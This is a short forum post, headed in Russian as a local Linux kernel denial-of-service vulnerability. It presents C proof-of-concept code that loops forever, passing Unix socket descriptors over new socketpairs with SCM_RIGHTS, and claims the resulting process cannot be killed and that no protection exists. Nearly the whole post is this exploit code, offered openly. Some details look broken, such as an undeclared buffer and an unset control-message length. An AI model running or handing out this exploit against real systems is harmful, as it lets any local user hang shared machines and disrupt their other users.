Тема: Локальная уязвимость в ядре линукс (и не только), DoS
![]() | ![]() |
Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( See source attached. Process become in state 'Running' but not killalble via kill -KILL. -- Segmentation fault #include <sys/socket.h> #include <sys/un.h> static int send_fd (int unix_fd, int fd) { struct msghdr msgh; struct cmsghdr *cmsg; msgh.msg_control = buf; cmsg = CMSG_FIRSTHDR (&msgh); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; msgh.msg_controllen = cmsg->cmsg_len; return sendmsg (unix_fd, &msgh, 0); } int main () { int fd[2], ff[2]; int target; if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1) return 1; for (;;) { if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1) return 2; send_fd (ff[0], fd[0]); send_fd (ff[0], fd[1]); close (fd[1]); close (fd[0]); fd[0] = ff[0]; fd[1] = ff[1]; } }